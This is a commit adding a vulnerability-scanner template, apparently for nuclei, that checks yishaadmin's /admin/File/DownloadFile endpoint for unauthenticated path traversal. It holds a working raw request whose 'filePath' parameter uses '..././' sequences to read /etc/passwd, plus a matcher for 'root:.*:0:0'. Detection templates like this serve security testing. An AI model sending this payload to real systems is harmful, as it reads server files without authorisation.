Merge pull request #2 from evanRubinsteinIT/evanRubinsteinIT-yshaadmin-traversal
Added yshaadmin path traversal vulnerabilitypatch-1
commit
c3030e69ec
|
@ -0,0 +1,31 @@
|
|||
id: yshaadmin-traversal
|
||||
|
||||
info:
|
||||
name: yishaadmin path traversal
|
||||
author: Evan Rubinstein
|
||||
severity: critical
|
||||
description: An endpoint in yshaadmin "/admin/File/DownloadFile" was improperly secured, allowing for files to be downloaded, read or deleted without any authentication.
|
||||
reference: https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/
|
||||
tags: traversal,critical
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0"
|
Loading…
Reference in New Issue